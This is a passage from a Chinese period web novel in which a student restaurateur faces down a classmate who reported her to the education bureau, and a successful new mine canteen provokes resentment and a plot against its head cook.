随着老周的话,众人的脸色明显好转了些,但教育局几个人的表情还是不太好,明显对贺明珠之前说的话还放在心里。 老周推了推贺明珠,说:“快和大家道个歉,几位教育局的同志也是为了你好,毕竟有人举报,他们总要走这一趟,这是公事,不是针对你个人。” 教育局几人在心中疯狂点头,同时不由得对这个貌不惊人的老教师有所改观。 没想到这老头看着唯唯诺诺,说话还挺中听的啊。 老周一片好心,办公室里大概只有他是真心为贺明珠好。 贺明珠一向珍惜真心,看了眼老周脸上殷切催促的表情,轻轻叹口气。 “不好意思,我脾气比较急,说话有点直,您几位千万别放心上。” 话音一转,她又说:“但我确实无法认可开饭店是投机倒把违法行为的观点,毕竟现在改革开放,国家提倡发展个体经济,我虽然是个学生,但也不觉得响应国家号召有什么问题。” 教育局的人没说话,也不知道要说什么。 毕竟不管是从法理,还是从情理,贺明珠的行为都没有可被指摘之处。 唯一的瑕疵是她还是个学生,而举报人的身份也不由得他们不小题大做。 见没人说话,校长从椅子上站起来,笑着打圆场。 “我想,对贺同学的举报可能是出于误会。贺同学虽然开了饭店,但她确实增加了就业,也给国家贡献了税收。尽管她还是学生,但没有占用校内时间,也没有影响其他学生,我看,既然已经调查清楚了,不如先让她回去上课,后续如何处理的问题,我们另行讨论,你们看如何?” 教育局的几个人顺着台阶就下来了,纷纷说要回去开会讨论一下。 老周感激地冲校长点点头,忙不迭地把贺明珠拉出了办公室。 “你先回去上课,别误了功课。” 贺明珠问他:“周老师,您不走吗?” 老周狡猾地冲她眨眨眼,低声说:“我在这儿替你看着他们。” 贺明珠莞尔一笑,这老周,还挺有意思的啊。 在办公室耽误了不少时间,贺明珠回到教室的时候,已经快到下学的时间。 见她回来,班中爆发出一阵窃窃私语,任课老师敲了好几下讲台,才把这阵骚动压下去。 贺明珠回到座位,还没坐安稳,一张小纸条就传了过来。 纸条是孙向前写的,急切地询问她遇到什么事了吗,需不需要帮助。 贺明珠没回纸条,只是冲孙向前的方向笑了笑。 下学的铃声一响,任课老师还没走出班门,班里众人朝着贺明珠的位置蜂拥而来。 “你还好吗?学校是怎么说的?” “你要被开除是真的假的?” “教育局是不是不让你开饭店?” 七嘴八舌的问题,一瞬间,贺明珠有种掉进花鸟市场的错觉,太吵了。 “好吵啊!一个一个来,我都听不清你们在说什么了。” 贺明珠一嗓子吼下去,班里顿时一静,接着,几个好奇心重的同学率先开口提问。 “学校真的要开除你吗?” 贺明珠干脆地说:“假的,没开除。” 听到这个回答,和贺明珠关系好的女生们顿时心中一松,人群外围的孙向前也是。 又有人问:“你是不是因为开饭店被举报的啊?” 贺明珠说:“真的,确实有人把我开饭店的事举报到教育局了。” 传闻落实,众人皆是又惊又气。 “谁举报的,这人怎么能这样啊!当初从还没开学的时候,全校谁不知道你家开饭店,怎么现在来举报,这不是纯心找茬吗?!” 贺明珠无所谓地一摊手。 “得罪小人了吧,要不然我也不知道这种事还能拿来做文章。当初报纸写得不是很清楚吗,关于通缉犯,关于我家的饭店,我想这不算什么见不得人的秘密吧。” 女同学不放心地问了一句:“以后教育局的不会再来找你了吧?” 贺明珠说:“谁知道呢。” 她意有所指地说:“这要看某些人会不会继续向教育局施压,要求处理我这个投机倒把的学生呢。” 听到贺明珠的话,同学们议论纷纷,眼神不住地向某些人飘去。 “真是太过分了,怎么能这么对待同班同学……” “明珠哪里得罪她了,要这么整人?” “哼,这种大小姐,谁知道什么时候会得罪,我看以后还是离她远点为好!” 孙向前也忍不住说:“这种背地伤人的小人行为实在太过分了!” 他不说就罢了,一说某些人的脸色都气变了。 “贺明珠,你为什么要误导同学们!分明是你违反规定开饭店在先,你都做了投机倒把的事,还怕别人举报吗?!” 说话的人是田小华,她站在赵曼曼身旁,手臂紧紧挽着对方。 贺明珠看过去,脸上毫无愠色,有些好笑似的说:“我不怕别人举报啊,毕竟我的一切行为都合法合规,没有见不得人的地方。倒是某些举报的人,有没有想过接下来的三年要怎么和同学相处?” 赵曼曼的脸色苍白,不知是因为贺明珠的话,还是因为孙向前的那一句“小人行径”。 田小华看了眼赵曼曼的脸色,大声道:“你别狡辩了,难道你比教育局的人还懂法吗?我们班的同学都是要考大学的,你开饭店就是扰乱同学的心志,让大家分心!” 贺明珠惊奇道:“啊?我寻思我是在卖饭,没卖鸦|片,不存在精神上毒害同学的作用啊。” 前两天历史课上刚学到鸦|片战争,听到贺明珠的话,大家忍不住喷笑出声,接着笑声越来越大。 田小华气急败坏,这时,她的手忽然被甩开。 赵曼曼站出来,气呼呼地瞪着贺明珠。 “是我举报的,你有什么意见可以当面和我说,而不是一口一个‘某些人’!” 贺明珠漫不经心地说:“啊,是你呀。我没什么和你可说的,你要是还想举报的话,随意。” 贺明珠这种冷淡的态度反而更刺痛了赵曼曼。 她大声地对贺明珠说:“我举报你是有正当理由的!你身为学生,不以学习为重,也不为国家人民奋斗,而是唯利是图,寻求小布尔乔亚的奢侈享受!身为社会主义接班人,你为什么不选择为更高尚的事业而奋斗,而去做这种资本主义剥削行为?!” 这年头人们的思想还是比较淳朴,也就是所谓的比待遇越比心胸越窄,讲奉献越讲境界越高。 而不少人也确实是这样践行的,宁愿牺牲个人享受,也要为国家民族而奋斗。 赵曼曼的调子起得非常高,她家学渊源,说起这类话信手拈来,甚至还有几分慷慨激昂,很能带动他人的情绪。 高中的学生没被生活殴打过,有着一腔昂扬意气,天真,也理想化。 赵曼曼说:“我承认你是有能力,可你为什么不将你的能力用在建设四个现代化上,为什么不和我们一起建设社 会主义,让人民都过上好日子?但你却选择开饭店,受益的人只有你。” “我却是看不惯你,看不惯你这种利益熏心、金钱至上的思想!” 听到赵曼曼的话,还真有不少同学信以为真,向贺明珠投来不赞同的目光。 是啊,她为什么要开饭店,不就是想挣钱吗? 虽然抓住了通缉犯,但那也是因为通缉犯要抢劫她家饭店,起点并不是为人民除害。 即使是之前支持贺明珠的同学,此时也忍不住想,赵曼曼举报同学的行为虽然不妥,但她的出发点是好的啊。 赵曼曼敏锐地察觉到同学们的情绪变化,不由得心中一喜。 她下意识看向孙向前,只见他抿着嘴,皱着眉头,不知在想什么。 赵曼曼打算再加一把火。 “贺明珠同学,我对你没有别的要求,只希望你将你的才智都用在正途上,而不是以学生的身份经商,给同学们起了一个坏头,毕竟,我们的目标是要考上大学,将来为人民服务!” 赵曼曼慷慨激昂的声音未落,忽然听到一声笑。 是贺明珠的笑。 她像是听到什么好笑的事,笑声由低变高,直到压过赵曼曼的声音。 “你笑什么?!” 赵曼曼恼怒地问贺明珠。 贺明珠止住了笑,眼里的情绪是冷的。 “你靠自己的双手赚过一分钱吗?” “你现在的生活条件是依靠你的个人努力吗?” “你凭借自己的能力让别人过上更好的生活了吗?” 一连三问,字字扎心。 赵曼曼忽然有点心慌,像是有什么不好的事情要发生。 不待她想出回击的话,贺明珠又说: “你每天坐的是伏尔加牌小轿车,据我所知,这类高档小轿车是配给领导干部的行政专用车,但为什么会被用来每天接送你上下学?” 听到贺明珠的话,同学们窃窃私语。 “那辆车是公车啊……” “不奇怪吧,大领导用配车接送自家人,这种事挺常见的。” “这算什么常见,公车就不应该私用!” “那她刚刚说的那些话不就是言行不一吗?一边自己借着家长职务之便享受,一边又说什么牺牲奉献,这不是很荒谬吗?” 听到同学们的议论,赵曼曼额头冒汗:“我、我……” 贺明珠轻快地说:“赵曼曼同学,下次喊口号的时候,不如先想一下,你的行为对得起你喊的口号吗。” 赵曼曼终于找回舌头,尖锐地反问贺明珠: “你做的事就对得起你喊的口号吗?你刚刚问我的问题,难道你就能回答得上来吗?” 贺明珠严谨地说:“首先,我从来没有喊过口号,任何形式的都没有。” “其次,关于这三个问题,你想知道我的答案?” 在同学们好奇的眼神中,贺明珠坦然地说: “我获得的每一分钱都是靠我的双手赚来的。” “我现在所过的生活,都是靠我自己。每一餐饭,每一块布,都是我努力得来的。” “我凭借自己的能力,让更多人过上更好的生活。” 她平静地看向赵曼曼。 “我所做的每一件事都问心无愧,你呢?你扪心自问,是否没有一丝愧疚?” 田小华插嘴道:“谁知道你说的是真的还是假的。” 孙向前开口道:“贺明珠同学说的都是真的,我可以作证。” 贺明珠冲孙向前点点头,感谢他此时的仗义执言。 赵曼曼咬着嘴唇,忽然转身就走,田小华急忙追上去。 对峙一方不战而退,同学们面面相觑,不知是谁,先笑了起来。 “要不是贺同学,差点就被她带沟里去了。” “是啊,公器私用的家庭怎么可能会培养出具有奉献精神的人呢。” “贺同学,对不起,我刚刚还觉得她说的有道理,差点把你当成坏人了……” 贺明珠笑了。 “我不喜欢喊口号,也不喜欢解释什么,关于我是什么样的人,是好人,还是坏人,你们可以自行判断,跟随内心的声音。我只想说一句——” 贺明珠顿了顿,钓足了众人胃口后,她才轻快地说: “贫穷不是社会主义,不管是谁,都有权过上更好的生活。对美好生活的追求,永远不应该成为被责难的对象。” 那一天,贺明珠意气风发的年轻面孔留在了在场同学的心中。 很久,很久,未曾在记忆中褪色。 第116章 第116章新旧食堂的矛盾 又是一年春天。 微风细雨中,即使灰突突的煤山也萌发出翠绿的野草,在碎石沙砾中,肆意张扬着稚弱的生命力。 雨不大,将将沾湿了地皮。 离食堂不远,从矿井里出来的工人们懒得打伞,冒着雨走了出去。 “走,去食堂吃饭去!” “等等,我还没拿饭盒呢!” “今天食堂有什么菜?” “早上吃的韭菜馅饼不错,不知道现在还有没有了……” 零零散散的人流逐渐汇聚,朝着二层小楼的方向进发。 刘爱民和赵计划夹在人群中,两个年轻人脚步轻快,不断越过身边的人。 “待会儿你去打羊排,我去打春饼,打完菜再捎带两碗汤。” 刘爱民细致地分配着任务,使两人能以最快速度买到这两份最紧俏的菜品。 赵计划答应一声,补充了一句:“打完菜了先别打汤,赶紧去占座位,省得像上次一样,还得站着吃饭。” 刘爱民扫了一眼前方密密麻麻的人群,提议道:“那咱俩跑起来?” “行啊,快点跑到食堂!” 话音未落,两个年轻人当即跑了起来,在人群的缝隙中来回穿插,很快就抢到前面的位置。 雨丝斜斜地洒在两人脸上,像是覆盖了一层薄薄的水膜。 见刘爱民和赵计划跑了起来,其他人不由得躁动起来,性急的也跟着开始跑动。 一带二,二带三,三带四…… 在从众心理和去晚了抢不到美食的担忧中,越来越多的人跟着跑了起来,乌央乌央的,不知道的人看到了还以为这是在举办什么跑步比赛。 “年轻人就是心急啊。” 张跃进不紧不慢地走在人群边缘,手上拎了个大提兜,里面放了三个铁饭盒,走起路来哐啷作响。 “都跑什么啊,这食堂的菜又不会长腿跑了,这帮年轻人上完班都不累吗?” 张跃进摇摇头,又是感慨,又是羡慕。 他才不跑呢,等会儿到了食堂随便挑个人少的队伍排队就行,反正食堂的菜就没有不好吃的,不管买什么菜回去,家里的傻小子们一个赛一个吃得香。 想到这里,张跃进脸上不由得露出笑来。 自从开了新食堂,相同面值的饭票能买到两倍份量的菜,他就经常打饭带回家。 两个儿子不仅吃得香,还吃得饱。菜里油水大,顶饿,不用像以前似的用许多的窝窝头、杂粮面馒头来骗肚子。 傻小子们没再成天喊饿,不必像以前似的把家里大部分钱花在黑市买粮上,张跃进家里的财政压力骤然一轻。 张跃进脸上多了笑容,皱纹也展开了,认识他的熟人都说他现在看着比之前年轻多了。 能不年轻吗?以前成天担心养不活家里两个饭桶,天天愁眉苦脸,现在没了这个心理包袱,自然心情舒畅。 想到这里,张跃进不由得笑了。 多亏有煤矿人家,多亏矿上把饭店收走,逼得贺老板不得不转而开食堂。虽然矿领导这事儿干得不地道,可结果真是弄拙成巧,给大伙儿造福啊! 忽然打了个喷嚏的巩副矿长:??? 这时,张跃进忽然听到熟人喊他。 “老张,慢慢悠悠磨蹭什么呢?” 张跃进一看,是一个和他年纪相仿的同事,对方从后方一路跑上来,累得直喘粗气。 张跃进悠悠哉哉地说:“急什么,食堂就在那儿,又不会长腿跑了。” 说话间,同事已经超越了张跃进,遥遥扔下一句: “可是今天食堂有豌豆黄!” 张跃进:!!! 豌豆黄是食堂最近新开发的菜品,或者说餐后点心。 小小一块,澄黄细腻,吃起来滋味浓郁而香甜,像是将一整个春天都咬入口中。 豌豆黄的原材料便宜,不过是豌豆和白砂糖,但做起来着实耗费工夫。 豌豆黄有两类,一类是粗豌豆黄,豌豆在砂锅中去皮焖烂,熬成稀粥状后加石膏水搅拌。 另一类则是细豌豆黄,相比于粗豌豆黄,细豌豆黄做起来就麻烦多了。 从一麻袋的白豌豆中挑出上好品相的豌豆,要颗粒饱满,色泽纯正,再用石磨将豌豆去皮,用清水洗净后,泡上三遍。 接着,用专门的铜锅烧水,将泡好的豌豆放入其中,小火慢炖,直至锅中豌豆呈粥状,带着原汤过细箩筛,去除杂质和渣滓,然后又重新倒入铜锅中,加上白砂糖,用木铲反复翻炒,直到炒好的豆泥从木铲上缓慢下淌,呈现堆丝状后,这才出锅,倒入模具中晾凉。 煤矿人家一向做菜细致,即使现在成了食堂,也依旧保留着这一特色。 因此,食堂在制作豌豆黄时,采取的便是细豌豆黄的做法。 虽然做起来步骤繁杂,相当麻烦,但在口感上的提升却是再对吃没有追求的人也能品尝出来的。 粗豌豆黄味道甜沙,但吃起来口感粗粝,能明显尝到豆皮和没煮烂的豆子。 而细豌豆黄的口感细腻柔和,入口后温温柔柔的在舌尖上融化,蕴含的豌豆香气绽放在口中,味道纯净而自然,给人一种简洁质朴之感。 因此,当豌豆黄首次在食堂出现后,立刻就被识货的人们抢购一空。 去得晚了的人们,就只能从别人口中得知豌豆黄的极致美味,被勾起满心的向往。 豌豆黄好吃不好做,食堂不是天天都会做这道点心,隔三差五才会做一次。 越是吃不着就越想吃,来食堂吃饭的人得空就问,什么时候上豌豆黄。 服务员们也不确定,这得看后厨的安排,厨师们要是忙不过来,就不会做费工夫的点心。 毕竟,同样的时间和精力,厨师们可以做三大盆的菜了。 有人不死心,追着服务员问,就不能让厨师们一次性做一大堆豌豆黄,做好了慢慢卖吗? 服务员笑着说:“那可不行,豌豆黄吃的就是新鲜,放久了水分蒸发,豆泥也会发酵变酸,吃起来就不是那个味儿了。这豌豆黄啊,就要现做现吃才行。” 有人脑子转得快,立刻意识到,既然豌豆黄要当天做当天卖,那做之前总该要挑豆子、泡豆子吧? 于是,每天早上食堂开门时,就有人来问:“今天后厨泡豌豆了吗?” 问的人多了,服务员不胜其烦,索性在门口贴了张告示,上面写着“今日有豌豆黄”或“今日无豌豆黄”。 张跃进的同事正是早上吃饭时看到了这张告示,这才急匆匆地往食堂跑。 听到同事说今天有豌豆黄,张跃进也没了之前那份悠哉,拔腿就跑,拎着一兜子饭盒就往前冲。 “等等我!我也要买!” 这边新食堂办得红红火火,一多半的一矿职工都在新食堂吃饭,大厅人满为患,端着托盘的人高高举起手,生怕将菜汤溅到其他人身上。 而另一边,旧食堂确实愁云惨淡,没有几个人吃饭,眼见中午用餐时间已经过半,而大盆里的菜还堆得冒尖。 有人从食堂门口探头进来,可看了一眼里面的冷清情况,就又走了。 服务员破天荒地热情招呼:“哎哎哎,别走啊,坐下来吃饭吧!今天有炖肉,香得很!” 可那人却说:“你们食堂的炖肉能有多好吃?要是真好吃的话,至于这个点了都没卖光吗?我还是去新食堂看看吧。” 他说完就走,也不给服务员继续挽留的机会。 “唉,今天的菜又卖不完了!” 眼见最后一个来吃饭的客人也走了,好一会儿都没新的客人进来,几个服务员招呼着要收拾大盆。 一个厨师模样的人叼着烟,站在门口。 他身上的厨师服油腻腻的,上面不知在哪儿沾到的黄黑油渍,看着就让人倒胃口。 而厨师本人似乎一无所知,擤了下鼻子,顺手在衣服下摆抹了两把。 “菜就放厨房吧,下一顿热一热再端上来。” 另一个年纪轻的厨师犹豫道:“刘师傅,这菜都反反复复热了三天了,还能吃吗?” 刘厨师从鼻子里哼出一声,不满道:“谁让这帮煤黑子不来我们食堂吃饭,那旧菜卖不出去,可不就得热热再卖吗?难不成,你还想把好端端的菜倒了不成?” 年轻厨师急忙解释:“我不是这个意思……” 刘厨师瞥了他一眼,用长辈教训晚辈的语气说道: “小冯,现在食堂不是你爸管了,你不能还抱着他那套老思想啊!你的思想应该转变转变,这菜都是好好的,怎么就不能吃了?你们这代人都是惯的,搁以前,就算菜变质了、馒头发霉了,那不是该吃还得吃吗?” 冯厨师被骂得浑身不自在,试图解释:“刘师傅,你别生气,我、我、我真不是这个意思……” 刘师傅没再乘胜追击,反而脸上露出一个笑来,搂着冯厨师的肩膀走到一边。 “说起来,你爸现在去新食堂上班,你就没想着让他把你介绍到新食堂吗?” 这话问得诛心,新食堂与旧食堂现在水火不容,被抢走了客人的旧食堂对新食堂是恨不得食其肉寝其皮,恨不能把新食堂砸个粉碎。 虽然食堂收的是饭票而非现钞,但饭票也意味着钱啊! 以前食堂每个月收到矿上的固定拨款,不管来吃饭的人有多少、吃掉多少的菜,食堂收到的钱是没有变化的,食堂职工的工资也是固定的。 因此,有人动起了歪脑筋,偷斤少量,克扣粮食,从矿工嘴里扣钱。 原本可以供一百人吃饭的菜量,现在连一半的人都吃不饱。 这还不够,负责管理食堂的人和采买蔬菜粮食的人相勾结,买回来的原材料品质极差,价格虚高,中间的差价就被双方瓜分了。 时间一长,工人们发现在食堂吃得越来越差,份量越来越少,干了一天体力活后,在食堂甚至连最基本的吃饱都满足不了。 一时间,一矿内群情激奋,最能吃也是最年轻气盛的青工们首先受不了,在食堂大闹一场,掀了桌子摔了碗,冲进后厨和厨师们打了起来。 事情闹大后,矿务局派人下来调查,这才将这颗食堂毒瘤拔了出来。 为了避免再次发生这样的事,矿上将食堂从拨款制转为结算制,也就是说,矿上每月向职工发放一定数量的饭票,职工用饭票在食堂买饭,而食堂按收到饭票的数量和矿上结账。 饭票收的多,食堂结算时的金额就高,食堂职工每月到手的效益工资也拿得多;饭票收的少,结算金额就低,食堂职工的效益工资也相应变低。 在新食堂出现之前,由于一矿内有且仅有这一家食堂,没有竞争对手,即使饭做得再差、服务员态度再恶劣,矿工们也没得选,不得不将饭票都花在旧食堂上。 即使是煤矿人家开办后,不少矿工选择进店吃饭,但也会将矿上发的饭票都在食堂用完,避免过期浪费。 因此,虽然煤矿人家的存在客观上降低了旧食堂的客流量,但旧食堂的人不仅没有意见,反而还挺乐见其成。 毕竟,人少就意味着事儿少,谁不喜欢上班闲着呢? 可现在新食堂的开办就不一样了—— 新食堂收饭票! 同样数额的饭票,新食堂每多收一张,就意味着旧食堂少收一张,这是零和博弈,两个食堂里只能存在一个胜者。 面对突如其来的竞争对手,闲散已久的旧食堂乱作一团,一时间竟不知要如何应对。 与此同时,新食堂对矿 工们的吸引力大到超乎所有人想象。 美味的菜品,干净的环境,良好的服务态度,以及最关键的,比旧食堂更加便宜的定价。 这场战役没有开始就已经结束了。 兵败如山倒,旧食堂毫无还手之力,临时抱佛脚都来不及。 幸运的是,旧食堂不会倒闭,职工的工资不会受影响,只是从今以后,额外的效益工资就没有了。 毕竟,一个卖不出去菜的食堂,其存在的本身就是矿上对内部食堂的扶持了。 当刘师傅问冯师傅要不要去新食堂上班时,要是冯师傅流露出一丝半点去新食堂上班的意思,不等他付诸行动,就会被旧食堂的人撕成两半。 因此,听到这问题,冯厨师赶忙撇清自己。 “我爸是我爸,我是我,他现在退休了没顾忌,我还是要正常上班的。” 刘师傅脸上这才露出点满意之色,铁砂掌般的大手重重拍了两下冯师傅的肩膀。 “好小子,我就知道你是个好的,和老冯不一样!” 冯师傅笑得跟哭似的,附和道:“是,是,是不一样……” 说起来,这两个人中,冯师傅就是冯解放的大儿子,接了他的班后在一矿食堂上班;而刘师傅则是冯解放一手带出来的徒弟。 虽然是师徒关系,但两人的关系却并不好。 究其原因,当初冯解放被迫提前退休、让大儿子接班,离不开这位徒弟的推波助澜。 第117章 第117章哄堂大孝 “冯师傅,下班了?” “冯师傅,明天见啊!” “冯师傅……” “冯师傅……” 下班路上,新食堂的同事纷纷向冯解放打招呼,冯老头推着自行车,乐呵呵地一一回应。 这条下班路他走了二十年,闭着眼睛都知道一矿大门朝哪儿开。 当初被迫退休的时候,冯解放还以为这辈子没机会再回来了,没想到,短短一年后,他又回到了这片熟悉的区域。 食堂八点关门,他九点离开,明天五点就又要来上班,每日如此,辛苦却也充实。 走到大门时,门房的门卫从窗口探出半个身子,冲他打招呼。 “老冯,明天的豌豆黄记得给我留两块,我拿回家给孙子吃!” 两人相识十余年,彼此见证对方从中年到老年,虽然不是同一科室的同事,但也在日复一日中,完成了从面熟到熟人再到朋友的转变。 对于门卫的拜托,冯解放爽快地说:“成,你早点来食堂拿,来晚了可就留不下了啊。” 门卫玩笑道:“我明儿一早就去你们食堂找你,要是拿不出豌豆黄的话,以后我天天上车棚拔你气门芯!” 这威胁可真够强而有力的,冯解放摆摆手,骑着车走了。 身后门卫追了一句:“骑慢点儿,看着点儿路!” 冯解放不紧不慢地骑着车,这一条回家路他走了三十年,路上哪一处有坑,哪一处有急下坡,都记在他心中。 路灯昏暗,看不清路,偶有汽车晃着车灯从后方疾驰过来。 这个时间,外面已经没什么人了,安静得让人心慌。 偶遇行人,冯解放小心地远远绕过去,以免碰到拦路抢劫的家伙。 虽然他这一把老骨头,还骑着辆破自行车,一看就没什么钱,但说不定人家想从骨头缝里榨油呢。 出于对治安的担忧,冯解放这一路骑得颇为小心,直到离家不远时,他这才稍微放下心来。 然而,这时,忽然一道速度极快的车轮碾地声从后面传来,眼见就要逼近。 冯解放却似乎一无所觉,继续保持着原先的速度,不紧不慢地骑着车。 等到两车相遇,冯解放微微侧了点头,看了眼来人,用听不出语气的声音说了句: “老大,车不要骑这么快,路窄,跟在我后头。” 另一辆自行车的骑手俨然是冯解放的大儿子,冯建平。 冯建平看到亲爹,嗫喏了两声,低低喊了句“爸”,老老实实跟在冯解放的车后。 两人推车进了冯家,听到声音的冯老太打着手电迎出来。 “老头子,今天怎么这么晚才回来?食堂事儿多吗?” 手电筒的光照到冯解放身后的大儿子身上,冯老太有些惊讶地说: “你今天怎么和你爸一起回来的?你们食堂这会儿才下班?” 冯建平敷衍了两句,把自行车往墙边一靠,甩着手回了屋子。 冯解放将车停好,把手上的饭盒递给老妻,嘱咐一句:“里面是早上没卖完的韭菜盒子,还有两块豌豆黄,明天给孩子们热热吃吧。” 冯老太接过饭盒,嘴里还在嘀咕:“老大这么晚才下班?他们那食堂不是七点不到就关门了吗?” 此时,冯建平回到自家小屋,媳妇搂着孩子在炕上躺着,见他回来,懒洋洋地骂道: “你死哪儿去了,现在才回来!你这是上班还是干别的去了,连家也不顾了?!” 冯建平甩开外套,不痛快地说:“瞎说什么!食堂有事,领导留我多待了会儿。” 一听到这话,大儿媳一骨碌从炕上翻起来,好奇追问:“你们那烂食堂能有什么事?连吃饭的人都没了,你们领导能有什么事找你?” 孩子被大人说话的声音惊醒,揉着眼睛坐起来,冲冯建平连声喊“爸爸”。 大儿媳还在催促:“你快说啊,到底是什么事找你?” 冯建平有口难言,难道要他当着孩子的面说,食堂领导让他找机会陷害自家亲爹吗? 就算他答应去做,但这难道是什么很光彩的事吗?! 唉,都怪他爸,没事去姓贺的个体户那儿上什么班! 再说了,这个体户的食堂怎么能比公家食堂办得还红火! 冯建平一腔郁气,最后只能草草说道:“时间不早了,赶紧睡吧,明天还要上班呢!” 大儿媳心中好奇得紧,但看他死活不开口,旁边的孩子半睡半醒的,哼哼唧唧着要闹觉。 她不得不躺回去,伸手搂住孩子,两只手轻轻拍着,哄孩子睡觉。哄着哄着,她自己也睡着了。 冯建平心里松了一口气,但又开始犯愁。 这明天要怎么办呢? 第二天,冯家人早早就起床了。 因着家里有两个五点要去食堂做早饭的厨师,全家都习惯了早起。 大清早的,全家都很忙,大儿媳盯着孩子洗漱穿衣,冯老太打回来一斤新鲜牛奶,这会儿正看着奶锅,以防牛奶沸腾后溢出锅。 冯解放则将昨天带回来的韭菜盒子放到锅中复煎,渐渐地,油脂与面饼交融的香气从厨房传了出来,还有韭菜独特的香味,勾的人腹中馋虫不住蛄蛹。 灶台上的另一口锅中,咕噜着小米粥,米粒软糯,熬得金黄,光是看着就让人胃里服帖。 冯建平收拾完自己,磨磨蹭蹭走进厨房,站在门口,问冯解放: “爸,早饭要我做点儿什么吗?” 听到冯建平的话,冯解放惊异地看他一眼,从没想过大儿子会来主动帮忙。 “我这都做完了 ,没什么需要你的地方。要不然,你把咸菜端进屋吧。” 冯建平答应了一声,端着两盘子咸菜走了。 吃早饭的时候,几个大人都是一块韭菜盒子一碗粥的搭配,而小孩则是一碗牛奶,以及两块香甜细腻的豌豆黄。 牛奶里加了白砂糖,喝起来甜滋滋的;豌豆黄也是甜的,小乳牙吃起来毫不费力。 小孩吃得香,吸溜吸溜喝着热乎乎的牛奶,再来上一口甜蜜蜜的豌豆黄。 嘴上挂着一圈奶胡子,小孩喊道:“爷爷奶奶也喝奶!” 冯老太疼爱地摸摸孙女的小辫,说:“爷爷奶奶不喝,我们乖乖喝了奶才能长得高高的。” 大儿媳喝着稀粥,看着眼前这一幕很满意。 这冯家二老纵有再多的不好,至少是真心疼这个孙女,有什么好吃的好喝点都紧着孙女,没因为她是个丫头片子就区别对待。 冯老太天不亮就去市场上买新鲜牛奶,用的还是冯老头的工资;冯老头更是在食堂做了什么好吃的,都要买一份带回家。 大儿媳原本瘦蔫蔫的一个人,自从嫁到冯家后,体重是直线上升,气色也变好了,唯一的坏处就是做姑娘时的衣服现在都穿不上了。 不过穿就穿不上吧,这韭菜盒子烙得可真香啊! 别看是隔了夜的,但二次煎烤后的饼皮吃起来更酥脆了,里面馅料是韭菜鸡蛋木耳,吃透了油,食材滋味相互交融,韭菜的柔韧与木耳的软脆、鸡蛋的柔糯融合在一起,每一口都让人意犹未尽。 大儿媳用胳膊肘子戳戳冯建平,想让他和冯解放说一说,今天下班再带几个韭菜盒子回来。 冯建平却是心不在焉,一个没防备,竟然将手上的筷子摔到了地上。 “当啷”一声响,桌上众人都看了过来。 大儿媳先发制人,抢先开口:“你怎么这么不小心,连筷子都拿不稳,心不在焉的,想什么呢?” 冯建平也不解释,从地上捡起筷子,用手抹了两把,擦擦就要接着用。 冯老太急忙起身抽走他手里的筷子,说:“这双脏了,别用了,我再给你去拿一双。” 冯建平这一顿饭吃得心不在焉,直到冯老太开始收拾桌子了,他才忽然反应过来。 “妈,我爸呢?” 冯老太奇怪道:“你爸要上班去了,你找他干嘛?” 冯建平顾不上解释,急急忙忙跳起来,胡乱背起挎包,推着自行车就去追冯解放。 冯老太目送他的背影离开,暗自嘀咕道,不是说要避嫌,不能和他爹一起骑车去单位吗? 冯解放也很纳闷,怎么今天这个大儿子要和他一起骑车上班? “你去这么早干什么?你们食堂不是六点才上班吗?” 冯建平含糊道:“单位有事,领导让我去早点儿……” 冯解放不疑有他,点点头,按着平时的步调,不紧不慢地骑着车。冯建平跟在他身后,也不超车,用一种对于青年人来说过于缓慢的速度骑车。 等到了一矿大门,门房值班的正是昨晚和冯解放打招呼的门卫。 见到冯解放,他连忙提醒道:“别忘了我的豌豆黄!” 冯解放摆摆手:“忘不了,放心吧。” 这时,门卫注意到跟在冯解放身后的冯建平,奇道:“哟,建平啊,你今天怎么和你爸一起来上班?你们平时不是各走各的吗?” 冯建平简直恨不得堵住这个老门卫的嘴,一声不吭,闷头跟在冯建平车后,骑进了一矿里面。 门卫不屑地哼了一声,自言自语道:“假惺惺的,当谁不知道你小子和你亲爹玩避嫌这一套呢!白眼狼一个!” 一矿占地面积颇大,新食堂和旧食堂位于两个方向,到了分岔路口,冯解放向左,冯建平向右,两人各自去往相反的方向。 可今天,也不知冯建平是不是脑子糊涂了,跟着冯解放就要左拐。 冯解放提醒一句:“你该右转了。” 冯建平嗫喏了会儿,说:“这么早我们食堂没开门,我去了也没事干,让我去你那儿坐会儿呗。” 冯解放有点儿奇怪:“没开门你还来这么早?不是说领导有事儿找你吗?” 冯建平一时语塞,紧急找了个理由。 “我、我……我记错时间了……” 冯解放听了无奈,对于这个软弱没主见的儿子,他也没办法。 “行吧,你去我们食堂坐一会儿,不过,你找个地方坐着就行了,别乱蹿,我们那儿管得严。” 冯建平脸上露出喜色,连声答应着。 到了新食堂,杨冬梅等煤矿人家的老员工和一部分追求进步的大集体职工已经都到了。 大部分的大集体职工还没来,这帮人一般是踩点到,能来上班就不错了,不能要求更多。 见到紧紧跟在冯解放身后的冯建平,众人有点奇怪,但也不是特别奇怪。 毕竟大伙儿都知道冯师傅的大儿子在一矿食堂上班,虽然没见过,但多多少少听说过这个人。 冯解放向众人简单介绍了一下,便要去忙做今天的早饭。 虽说包子和面条的面已经发好了,馅儿和肉臊子也已经做好了,但油条要现炸,面条要现煮,包子要现蒸,早上要忙的事还是很多的。 冯解放让冯建平在前厅找个位置坐,自己则换衣服洗手进了后厨。 冯建平坐了一会儿就坐不住了,起身走到后厨,冲着里面的人笑。 “我正好闲着,也来帮帮忙吧。” 冯解放忙里抽空看了他一眼,下巴点点厨房外面堆放的一摞大葱。 “你没事儿就去把葱剥了吧,对了,先把手洗干净。” 这些葱原本是安排给大集体职工剥的,切成葱花后,在面条出锅时撒上一小撮提味。 但现在负责剥葱的大集体职工还没来,现在又抽不出人手,但客人可等不得,就让冯建平去干这个活儿吧。 冯建平有些不满,他是厨师,怎么能干这种打杂的事。 但冯解放发话,他又不敢不遵守,窝窝囊囊地洗了手,蹲在地上,老老实实地剥起了葱。 厨房里几个人忙得不可开交,新食堂早上要供应数百工人吃饭,耗费的食物数不胜数。 冯建平在剥葱的过程中,不断偷眼去看厨房情况,见几个灶台前都围着人,不由得心中焦急。 这时,有人探头冲冯解放喊道:“冯师傅,许家村的人来送菜了!” 冯解放在毛巾上擦了把手,边往外走边说:“今天这么早就来送菜了?” 他是新食堂的负责人,要检查原材料质量,并在收菜时签单,作为本月结账的单据。 这个事情不能推给其他人做,因此,一听许家村的人来送菜,冯解放马上就出去了。 临走前,他还嘱咐杨冬梅一句:“看着点儿锅,别让粥糊了。” 杨冬梅答应了一声,一人同时照应两个灶台。 